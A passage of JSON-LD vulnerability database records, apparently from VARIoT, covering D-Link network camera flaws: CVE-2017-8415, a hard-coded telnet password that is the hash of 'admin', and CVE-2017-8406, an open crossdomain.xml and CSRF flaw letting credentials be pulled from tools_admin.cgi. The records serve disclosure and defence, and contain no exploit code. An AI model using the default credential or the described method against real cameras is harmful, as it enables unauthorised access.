"date": "2013-04-30T00:00:00",
"db": "BID",
"id": "59569"
},
{
"date": "2020-02-17T00:00:00",
"db": "JVNDB",
"id": "JVNDB-2013-007133"
},
{
"date": "2013-04-29T23:41:50",
"db": "PACKETSTORM",
"id": "121452"
},
{
"date": "2013-04-30T00:00:00",
"db": "CNNVD",
"id": "CNNVD-201305-029"
},
{
"date": "2020-01-28T22:15:10.840000",
"db": "NVD",
"id": "CVE-2013-1602"
}
]
},
"sources_update_date": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources_update_date#",
"data": {
"@container": "@list"
}
},
"data": [
{
"date": "2013-05-03T00:00:00",
"db": "CNVD",
"id": "CNVD-2013-04636"
},
{
"date": "2013-04-30T00:00:00",
"db": "BID",
"id": "59569"
},
{
"date": "2020-02-17T00:00:00",
"db": "JVNDB",
"id": "JVNDB-2013-007133"
},
{
"date": "2020-02-12T00:00:00",
"db": "CNNVD",
"id": "CNNVD-201305-029"
},
{
"date": "2021-04-26T16:36:03.947000",
"db": "NVD",
"id": "CVE-2013-1602"
}
]
},
"threat_type": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/threat_type#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "remote",
"sources": [
{
"db": "CNNVD",
"id": "CNNVD-201305-029"
}
],
"trust": 0.6
},
"title": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/title#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "plural \u00a0D-Link\u00a0 Information disclosure vulnerabilities in products",
"sources": [
{
"db": "JVNDB",
"id": "JVNDB-2013-007133"
}
],
"trust": 0.8
},
"type": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/type#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "information disclosure",
"sources": [
{
"db": "CNNVD",
"id": "CNNVD-201305-029"
}
],
"trust": 0.6
}
}
var-201907-1075
Vulnerability from variot
An issue was discovered on D-Link DCS-1100 and DCS-1130 devices. The device has a custom telnet daemon as a part of the busybox and retrieves the password from the shadow file using the function getspnam at address 0x00053894. Then performs a crypt operation on the password retrieved from the user at address 0x000538E0 and performs a strcmp at address 0x00053908 to check if the password is correct or incorrect. However, the /etc/shadow file is a part of CRAM-FS filesystem which means that the user cannot change the password and hence a hardcoded hash in /etc/shadow is used to match the credentials provided by the user. This is a salted hash of the string "admin" and hence it acts as a password to the device which cannot be changed as the whole filesystem is read only. D-Link DCS-1100 and DCS-1130 The device contains a vulnerability related to the use of hard-coded credentials.Information is obtained, information is altered, and service operation is disrupted (DoS) There is a possibility of being put into a state. The D-LinkDCS-1100 and D-LinkDCS-1130 are both network cameras from D-Link Corporation of Taiwan, China. A trust management vulnerability exists in the D-LinkDCS-1100 and DCS-1130. The vulnerability stems from the fact that the program uses the default password for the Telnet daemon. An attacker could use this vulnerability to log in to the device
Show details on source website{
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/VARIoTentry#",
"affected_products": {
"@id": "https://www.variotdbs.pl/ref/affected_products"
},
"configurations": {
"@id": "https://www.variotdbs.pl/ref/configurations"
},
"credits": {
"@id": "https://www.variotdbs.pl/ref/credits"
},
"cvss": {
"@id": "https://www.variotdbs.pl/ref/cvss/"
},
"description": {
"@id": "https://www.variotdbs.pl/ref/description/"
},
"exploit_availability": {
"@id": "https://www.variotdbs.pl/ref/exploit_availability/"
},
"external_ids": {
"@id": "https://www.variotdbs.pl/ref/external_ids/"
},
"iot": {
"@id": "https://www.variotdbs.pl/ref/iot/"
},
"iot_taxonomy": {
"@id": "https://www.variotdbs.pl/ref/iot_taxonomy/"
},
"patch": {
"@id": "https://www.variotdbs.pl/ref/patch/"
},
"problemtype_data": {
"@id": "https://www.variotdbs.pl/ref/problemtype_data/"
},
"references": {
"@id": "https://www.variotdbs.pl/ref/references/"
},
"sources": {
"@id": "https://www.variotdbs.pl/ref/sources/"
},
"sources_release_date": {
"@id": "https://www.variotdbs.pl/ref/sources_release_date/"
},
"sources_update_date": {
"@id": "https://www.variotdbs.pl/ref/sources_update_date/"
},
"threat_type": {
"@id": "https://www.variotdbs.pl/ref/threat_type/"
},
"title": {
"@id": "https://www.variotdbs.pl/ref/title/"
},
"type": {
"@id": "https://www.variotdbs.pl/ref/type/"
}
},
"@id": "https://www.variotdbs.pl/vuln/VAR-201907-1075",
"affected_products": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/affected_products#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
},
"@id": "https://www.variotdbs.pl/ref/sources"
}
},
"data": [
{
"model": "dcs-1130",
"scope": null,
"trust": 1.4,
"vendor": "d link",
"version": null
},
{
"model": "dcs-1100",
"scope": null,
"trust": 1.4,
"vendor": "d link",
"version": null
},
{
"model": "dcs-1130",
"scope": "eq",
"trust": 1.0,
"vendor": "dlink",
"version": null
},
{
"model": "dcs-1100",
"scope": "eq",
"trust": 1.0,
"vendor": "dlink",
"version": null
}
],
"sources": [
{
"db": "CNVD",
"id": "CNVD-2019-23331"
},
{
"db": "JVNDB",
"id": "JVNDB-2017-014561"
},
{
"db": "NVD",
"id": "CVE-2017-8415"
}
]
},
"configurations": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/configurations#",
"children": {
"@container": "@list"
},
"cpe_match": {
"@container": "@list"
},
"data": {
"@container": "@list"
},
"nodes": {
"@container": "@list"
}
},
"data": [
{
"CVE_data_version": "4.0",
"nodes": [
{
"cpe_match": [
{
"cpe22Uri": "cpe:/o:d-link:dcs-1110_firmware",
"vulnerable": true
},
{
"cpe22Uri": "cpe:/o:d-link:dcs-1130_firmware",
"vulnerable": true
}
],
"operator": "OR"
}
]
}
],
"sources": [
{
"db": "JVNDB",
"id": "JVNDB-2017-014561"
}
]
},
"credits": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/credits#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "Mandar Satam",
"sources": [
{
"db": "PACKETSTORM",
"id": "153226"
}
],
"trust": 0.1
},
"cve": "CVE-2017-8415",
"cvss": {
"@context": {
"cvssV2": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV2#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/cvssV2"
},
"cvssV3": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV3#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/cvssV3/"
},
"severity": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/cvss/severity#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/severity"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
},
"@id": "https://www.variotdbs.pl/ref/sources"
}
},
"data": [
{
"cvssV2": [
{
"accessComplexity": "LOW",
"accessVector": "NETWORK",
"authentication": "NONE",
"author": "nvd@nist.gov",
"availabilityImpact": "COMPLETE",
"baseScore": 10.0,
"confidentialityImpact": "COMPLETE",
"exploitabilityScore": 10.0,
"id": "CVE-2017-8415",
"impactScore": 10.0,
"integrityImpact": "COMPLETE",
"severity": "HIGH",
"trust": 1.9,
"vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C",
"version": "2.0"
},
{
"accessComplexity": "LOW",
"accessVector": "NETWORK",
"authentication": "NONE",
"author": "CNVD",
"availabilityImpact": "COMPLETE",
"baseScore": 10.0,
"confidentialityImpact": "COMPLETE",
"exploitabilityScore": 10.0,
"id": "CNVD-2019-23331",
"impactScore": 10.0,
"integrityImpact": "COMPLETE",
"severity": "HIGH",
"trust": 0.6,
"vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C",
"version": "2.0"
},
{
"accessComplexity": "LOW",
"accessVector": "NETWORK",
"authentication": "NONE",
"author": "VULHUB",
"availabilityImpact": "COMPLETE",
"baseScore": 10.0,
"confidentialityImpact": "COMPLETE",
"exploitabilityScore": 10.0,
"id": "VHN-116618",
"impactScore": 10.0,
"integrityImpact": "COMPLETE",
"severity": "HIGH",
"trust": 0.1,
"vectorString": "AV:N/AC:L/AU:N/C:C/I:C/A:C",
"version": "2.0"
}
],
"cvssV3": [
{
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"author": "nvd@nist.gov",
"availabilityImpact": "HIGH",
"baseScore": 9.8,
"baseSeverity": "CRITICAL",
"confidentialityImpact": "HIGH",
"exploitabilityScore": 3.9,
"id": "CVE-2017-8415",
"impactScore": 5.9,
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"trust": 1.0,
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
{
"attackComplexity": "Low",
"attackVector": "Network",
"author": "NVD",
"availabilityImpact": "High",
"baseScore": 9.8,
"baseSeverity": "Critical",
"confidentialityImpact": "High",
"exploitabilityScore": null,
"id": "CVE-2017-8415",
"impactScore": null,
"integrityImpact": "High",
"privilegesRequired": "None",
"scope": "Unchanged",
"trust": 0.8,
"userInteraction": "None",
"vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.0"
}
],
"severity": [
{
"author": "nvd@nist.gov",
"id": "CVE-2017-8415",
"trust": 1.0,
"value": "CRITICAL"
},
{
"author": "NVD",
"id": "CVE-2017-8415",
"trust": 0.8,
"value": "Critical"
},
{
"author": "CNVD",
"id": "CNVD-2019-23331",
"trust": 0.6,
"value": "HIGH"
},
{
"author": "CNNVD",
"id": "CNNVD-201907-118",
"trust": 0.6,
"value": "CRITICAL"
},
{
"author": "VULHUB",
"id": "VHN-116618",
"trust": 0.1,
"value": "HIGH"
},
{
"author": "VULMON",
"id": "CVE-2017-8415",
"trust": 0.1,
"value": "HIGH"
}
]
}
],
"sources": [
{
"db": "CNVD",
"id": "CNVD-2019-23331"
},
{
"db": "VULHUB",
"id": "VHN-116618"
},
{
"db": "VULMON",
"id": "CVE-2017-8415"
},
{
"db": "JVNDB",
"id": "JVNDB-2017-014561"
},
{
"db": "CNNVD",
"id": "CNNVD-201907-118"
},
{
"db": "NVD",
"id": "CVE-2017-8415"
}
]
},
"description": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/description#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "An issue was discovered on D-Link DCS-1100 and DCS-1130 devices. The device has a custom telnet daemon as a part of the busybox and retrieves the password from the shadow file using the function getspnam at address 0x00053894. Then performs a crypt operation on the password retrieved from the user at address 0x000538E0 and performs a strcmp at address 0x00053908 to check if the password is correct or incorrect. However, the /etc/shadow file is a part of CRAM-FS filesystem which means that the user cannot change the password and hence a hardcoded hash in /etc/shadow is used to match the credentials provided by the user. This is a salted hash of the string \"admin\" and hence it acts as a password to the device which cannot be changed as the whole filesystem is read only. D-Link DCS-1100 and DCS-1130 The device contains a vulnerability related to the use of hard-coded credentials.Information is obtained, information is altered, and service operation is disrupted (DoS) There is a possibility of being put into a state. The D-LinkDCS-1100 and D-LinkDCS-1130 are both network cameras from D-Link Corporation of Taiwan, China. A trust management vulnerability exists in the D-LinkDCS-1100 and DCS-1130. The vulnerability stems from the fact that the program uses the default password for the Telnet daemon. An attacker could use this vulnerability to log in to the device",
"sources": [
{
"db": "NVD",
"id": "CVE-2017-8415"
},
{
"db": "JVNDB",
"id": "JVNDB-2017-014561"
},
{
"db": "CNVD",
"id": "CNVD-2019-23331"
},
{
"db": "VULHUB",
"id": "VHN-116618"
},
{
"db": "VULMON",
"id": "CVE-2017-8415"
}
],
"trust": 2.34
},
"external_ids": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/external_ids#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"db": "NVD",
"id": "CVE-2017-8415",
"trust": 3.3
},
{
"db": "PACKETSTORM",
"id": "153226",
"trust": 1.9
},
{
"db": "JVNDB",
"id": "JVNDB-2017-014561",
"trust": 0.8
},
{
"db": "CNNVD",
"id": "CNNVD-201907-118",
"trust": 0.7
},
{
"db": "CNVD",
"id": "CNVD-2019-23331",
"trust": 0.6
},
{
"db": "VULHUB",
"id": "VHN-116618",
"trust": 0.1
},
{
"db": "VULMON",
"id": "CVE-2017-8415",
"trust": 0.1
}
],
"sources": [
{
"db": "CNVD",
"id": "CNVD-2019-23331"
},
{
"db": "VULHUB",
"id": "VHN-116618"
},
{
"db": "VULMON",
"id": "CVE-2017-8415"
},
{
"db": "JVNDB",
"id": "JVNDB-2017-014561"
},
{
"db": "PACKETSTORM",
"id": "153226"
},
{
"db": "CNNVD",
"id": "CNNVD-201907-118"
},
{
"db": "NVD",
"id": "CVE-2017-8415"
}
]
},
"id": "VAR-201907-1075",
"iot": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/iot#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": true,
"sources": [
{
"db": "CNVD",
"id": "CNVD-2019-23331"
},
{
"db": "VULHUB",
"id": "VHN-116618"
}
],
"trust": 1.30915275
},
"iot_taxonomy": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/iot_taxonomy#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"category": [
"Network device"
],
"sub_category": null,
"trust": 0.6
}
],
"sources": [
{
"db": "CNVD",
"id": "CNVD-2019-23331"
}
]
},
"last_update_date": "2024-11-23T21:37:04.689000Z",
"patch": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/patch#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"title": "Top Page",
"trust": 0.8,
"url": "https://www.dlink.com/en/consumer"
},
{
"title": "IoT_vulnerabilities",
"trust": 0.1,
"url": "https://github.com/ethanhunnt/IoT_vulnerabilities "
}
],
"sources": [
{
"db": "VULMON",
"id": "CVE-2017-8415"
},
{
"db": "JVNDB",
"id": "JVNDB-2017-014561"
}
]
},
"problemtype_data": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/problemtype_data#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"problemtype": "CWE-798",
"trust": 1.9
}
],
"sources": [
{
"db": "VULHUB",
"id": "VHN-116618"
},
{
"db": "JVNDB",
"id": "JVNDB-2017-014561"
},
{
"db": "NVD",
"id": "CVE-2017-8415"
}
]
},
"references": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/references#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"trust": 2.6,
"url": "https://github.com/ethanhunnt/iot_vulnerabilities/blob/master/dlink_dcs_1130_security.pdf"
},
{
"trust": 2.4,
"url": "http://packetstormsecurity.com/files/153226/dlink-dcs-1130-command-injection-csrf-stack-overflow.html"
},
{
"trust": 2.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2017-8415"
},
{
"trust": 1.8,
"url": "https://seclists.org/bugtraq/2019/jun/8"
},
{
"trust": 0.8,
"url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2017-8415"
},
{
"trust": 0.1,
"url": "https://cwe.mitre.org/data/definitions/798.html"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov"
},
{
"trust": 0.1,
"url": "https://github.com/ethanhunnt/iot_vulnerabilities"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2017-8408"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2017-8413"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2017-8405"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2017-8406"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2017-8410"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2017-8412"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2017-8409"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2017-8417"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2017-8404"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2017-8416"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2017-8411"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2017-8407"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2017-8414"
}
],
"sources": [
{
"db": "CNVD",
"id": "CNVD-2019-23331"
},
{
"db": "VULHUB",
"id": "VHN-116618"
},
{
"db": "VULMON",
"id": "CVE-2017-8415"
},
{
"db": "JVNDB",
"id": "JVNDB-2017-014561"
},
{
"db": "PACKETSTORM",
"id": "153226"
},
{
"db": "CNNVD",
"id": "CNNVD-201907-118"
},
{
"db": "NVD",
"id": "CVE-2017-8415"
}
]
},
"sources": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#",
"data": {
"@container": "@list"
}
},
"data": [
{
"db": "CNVD",
"id": "CNVD-2019-23331"
},
{
"db": "VULHUB",
"id": "VHN-116618"
},
{
"db": "VULMON",
"id": "CVE-2017-8415"
},
{
"db": "JVNDB",
"id": "JVNDB-2017-014561"
},
{
"db": "PACKETSTORM",
"id": "153226"
},
{
"db": "CNNVD",
"id": "CNNVD-201907-118"
},
{
"db": "NVD",
"id": "CVE-2017-8415"
}
]
},
"sources_release_date": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources_release_date#",
"data": {
"@container": "@list"
}
},
"data": [
{
"date": "2019-07-18T00:00:00",
"db": "CNVD",
"id": "CNVD-2019-23331"
},
{
"date": "2019-07-02T00:00:00",
"db": "VULHUB",
"id": "VHN-116618"
},
{
"date": "2019-07-02T00:00:00",
"db": "VULMON",
"id": "CVE-2017-8415"
},
{
"date": "2019-07-11T00:00:00",
"db": "JVNDB",
"id": "JVNDB-2017-014561"
},
{
"date": "2019-06-07T15:06:02",
"db": "PACKETSTORM",
"id": "153226"
},
{
"date": "2019-07-02T00:00:00",
"db": "CNNVD",
"id": "CNNVD-201907-118"
},
{
"date": "2019-07-02T21:15:10.493000",
"db": "NVD",
"id": "CVE-2017-8415"
}
]
},
"sources_update_date": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources_update_date#",
"data": {
"@container": "@list"
}
},
"data": [
{
"date": "2019-07-19T00:00:00",
"db": "CNVD",
"id": "CNVD-2019-23331"
},
{
"date": "2019-07-10T00:00:00",
"db": "VULHUB",
"id": "VHN-116618"
},
{
"date": "2021-04-26T00:00:00",
"db": "VULMON",
"id": "CVE-2017-8415"
},
{
"date": "2019-07-11T00:00:00",
"db": "JVNDB",
"id": "JVNDB-2017-014561"
},
{
"date": "2021-04-27T00:00:00",
"db": "CNNVD",
"id": "CNNVD-201907-118"
},
{
"date": "2024-11-21T03:33:59.780000",
"db": "NVD",
"id": "CVE-2017-8415"
}
]
},
"threat_type": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/threat_type#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "remote",
"sources": [
{
"db": "CNNVD",
"id": "CNNVD-201907-118"
}
],
"trust": 0.6
},
"title": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/title#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "D-Link DCS-1100 and DCS-1130 Vulnerabilities related to the use of hard-coded credentials on devices",
"sources": [
{
"db": "JVNDB",
"id": "JVNDB-2017-014561"
}
],
"trust": 0.8
},
"type": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/type#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "trust management problem",
"sources": [
{
"db": "CNNVD",
"id": "CNNVD-201907-118"
}
],
"trust": 0.6
}
}
var-201907-1066
Vulnerability from variot
An issue was discovered on D-Link DCS-1130 devices. The device provides a crossdomain.xml file with no restrictions on who can access the webserver. This allows an hosted flash file on any domain to make calls to the device's webserver and pull any information that is stored on the device. In this case, user's credentials are stored in clear text on the device and can be pulled easily. It also seems that the device does not implement any cross-site scripting forgery protection mechanism which allows an attacker to trick a user who is logged in to the web management interface into executing a cross-site flashing attack on the user's browser and execute any action on the device provided by the web management interface which steals the credentials from tools_admin.cgi file's response and displays it inside a Textfield. D-Link DCS-1130 The device contains a cross-site request forgery vulnerability.Information is obtained, information is altered, and service operation is disrupted (DoS) There is a possibility of being put into a state. D-LinkDCS-1130 is a network camera of D-Link Corporation of Taiwan, China. There is a security hole in D-LinkDCS-1130. The attacker can use this vulnerability to steal the credentials of the administrative user, control the device as the admin user, execute arbitrary code or modify the user password
Show details on source website{
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/VARIoTentry#",
"affected_products": {
"@id": "https://www.variotdbs.pl/ref/affected_products"
},
"configurations": {
"@id": "https://www.variotdbs.pl/ref/configurations"
},
"credits": {
"@id": "https://www.variotdbs.pl/ref/credits"
},
"cvss": {
"@id": "https://www.variotdbs.pl/ref/cvss/"
},
"description": {
"@id": "https://www.variotdbs.pl/ref/description/"
},
"exploit_availability": {
"@id": "https://www.variotdbs.pl/ref/exploit_availability/"
},
"external_ids": {
"@id": "https://www.variotdbs.pl/ref/external_ids/"
},
"iot": {
"@id": "https://www.variotdbs.pl/ref/iot/"
},
"iot_taxonomy": {
"@id": "https://www.variotdbs.pl/ref/iot_taxonomy/"
},
"patch": {
"@id": "https://www.variotdbs.pl/ref/patch/"
},
"problemtype_data": {
"@id": "https://www.variotdbs.pl/ref/problemtype_data/"
},
"references": {
"@id": "https://www.variotdbs.pl/ref/references/"
},
"sources": {
"@id": "https://www.variotdbs.pl/ref/sources/"
},
"sources_release_date": {
"@id": "https://www.variotdbs.pl/ref/sources_release_date/"
},
"sources_update_date": {
"@id": "https://www.variotdbs.pl/ref/sources_update_date/"
},
"threat_type": {
"@id": "https://www.variotdbs.pl/ref/threat_type/"
},
"title": {
"@id": "https://www.variotdbs.pl/ref/title/"
},
"type": {
"@id": "https://www.variotdbs.pl/ref/type/"
}
},
"@id": "https://www.variotdbs.pl/vuln/VAR-201907-1066",
"affected_products": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/affected_products#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
},
"@id": "https://www.variotdbs.pl/ref/sources"
}
},
"data": [
{
"model": "dcs-1130",
"scope": "eq",
"trust": 1.0,
"vendor": "dlink",
"version": null
},
{
"model": "dcs-1130",
"scope": null,
"trust": 0.8,
"vendor": "d link",
"version": null
},
{
"model": "dcs-1130 no",
"scope": null,
"trust": 0.6,
"vendor": "d link",
"version": null
}
],
"sources": [
{
"db": "CNVD",
"id": "CNVD-2019-23341"
},
{
"db": "JVNDB",
"id": "JVNDB-2017-014557"
},
{
"db": "NVD",
"id": "CVE-2017-8406"
}
]
},
"configurations": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/configurations#",
"children": {
"@container": "@list"
},
"cpe_match": {
"@container": "@list"
},
"data": {
"@container": "@list"
},
"nodes": {
"@container": "@list"
}
},
"data": [
{
"CVE_data_version": "4.0",
"nodes": [
{
"cpe_match": [
{
"cpe22Uri": "cpe:/o:d-link:dcs-1130_firmware",
"vulnerable": true
}
],
"operator": "OR"
}
]
}
],
"sources": [
{
"db": "JVNDB",
"id": "JVNDB-2017-014557"
}
]
},
"credits": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/credits#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "Mandar Satam",
"sources": [
{
"db": "PACKETSTORM",
"id": "153226"
}
],
"trust": 0.1
},
"cve": "CVE-2017-8406",
"cvss": {
"@context": {
"cvssV2": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV2#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/cvssV2"
},
"cvssV3": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV3#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/cvssV3/"
},
"severity": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/cvss/severity#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/severity"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
},
"@id": "https://www.variotdbs.pl/ref/sources"
}
},
"data": [
{
"cvssV2": [
{
"accessComplexity": "MEDIUM",
"accessVector": "NETWORK",
"authentication": "NONE",
"author": "nvd@nist.gov",
"availabilityImpact": "PARTIAL",
"baseScore": 6.8,
"confidentialityImpact": "PARTIAL",
"exploitabilityScore": 8.6,
"id": "CVE-2017-8406",
"impactScore": 6.4,
"integrityImpact": "PARTIAL",
"severity": "MEDIUM",
"trust": 1.9,
"vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P",
"version": "2.0"
},
{
"accessComplexity": "MEDIUM",
"accessVector": "NETWORK",
"authentication": "NONE",
"author": "CNVD",
"availabilityImpact": "PARTIAL",
"baseScore": 6.8,
"confidentialityImpact": "PARTIAL",
"exploitabilityScore": 8.6,
"id": "CNVD-2019-23341",
"impactScore": 6.4,
"integrityImpact": "PARTIAL",
"severity": "MEDIUM",
"trust": 0.6,
"vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P",
"version": "2.0"
},
{
"accessComplexity": "MEDIUM",
"accessVector": "NETWORK",
"authentication": "NONE",
"author": "VULHUB",
"availabilityImpact": "PARTIAL",
"baseScore": 6.8,
"confidentialityImpact": "PARTIAL",
"exploitabilityScore": 8.6,
"id": "VHN-116609",
"impactScore": 6.4,
"integrityImpact": "PARTIAL",
"severity": "MEDIUM",
"trust": 0.1,
"vectorString": "AV:N/AC:M/AU:N/C:P/I:P/A:P",
"version": "2.0"
}
],
"cvssV3": [
{
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"author": "nvd@nist.gov",
"availabilityImpact": "HIGH",
"baseScore": 8.8,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"exploitabilityScore": 2.8,
"id": "CVE-2017-8406",
"impactScore": 5.9,
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"trust": 1.0,
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"version": "3.1"
},
{
"attackComplexity": "Low",
"attackVector": "Network",
"author": "NVD",
"availabilityImpact": "High",
"baseScore": 8.8,
"baseSeverity": "High",
"confidentialityImpact": "High",
"exploitabilityScore": null,
"id": "CVE-2017-8406",
"impactScore": null,
"integrityImpact": "High",
"privilegesRequired": "None",
"scope": "Unchanged",
"trust": 0.8,
"userInteraction": "Required",
"vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"version": "3.0"
}
],
"severity": [
{
"author": "nvd@nist.gov",
"id": "CVE-2017-8406",
"trust": 1.0,
"value": "HIGH"
},
{
"author": "NVD",
"id": "CVE-2017-8406",
"trust": 0.8,
"value": "High"
},
{
"author": "CNVD",
"id": "CNVD-2019-23341",
"trust": 0.6,
"value": "MEDIUM"
},
{
"author": "CNNVD",
"id": "CNNVD-201907-129",
"trust": 0.6,
"value": "HIGH"
},
{
"author": "VULHUB",
"id": "VHN-116609",
"trust": 0.1,
"value": "MEDIUM"
},
{
"author": "VULMON",
"id": "CVE-2017-8406",
"trust": 0.1,
"value": "MEDIUM"
}
]
}
],
"sources": [
{
"db": "CNVD",
"id": "CNVD-2019-23341"
},
{
"db": "VULHUB",
"id": "VHN-116609"
},
{
"db": "VULMON",
"id": "CVE-2017-8406"
},
{
"db": "JVNDB",
"id": "JVNDB-2017-014557"
},
{
"db": "CNNVD",
"id": "CNNVD-201907-129"
},
{
"db": "NVD",
"id": "CVE-2017-8406"
}
]
},
"description": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/description#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "An issue was discovered on D-Link DCS-1130 devices. The device provides a crossdomain.xml file with no restrictions on who can access the webserver. This allows an hosted flash file on any domain to make calls to the device\u0027s webserver and pull any information that is stored on the device. In this case, user\u0027s credentials are stored in clear text on the device and can be pulled easily. It also seems that the device does not implement any cross-site scripting forgery protection mechanism which allows an attacker to trick a user who is logged in to the web management interface into executing a cross-site flashing attack on the user\u0027s browser and execute any action on the device provided by the web management interface which steals the credentials from tools_admin.cgi file\u0027s response and displays it inside a Textfield. D-Link DCS-1130 The device contains a cross-site request forgery vulnerability.Information is obtained, information is altered, and service operation is disrupted (DoS) There is a possibility of being put 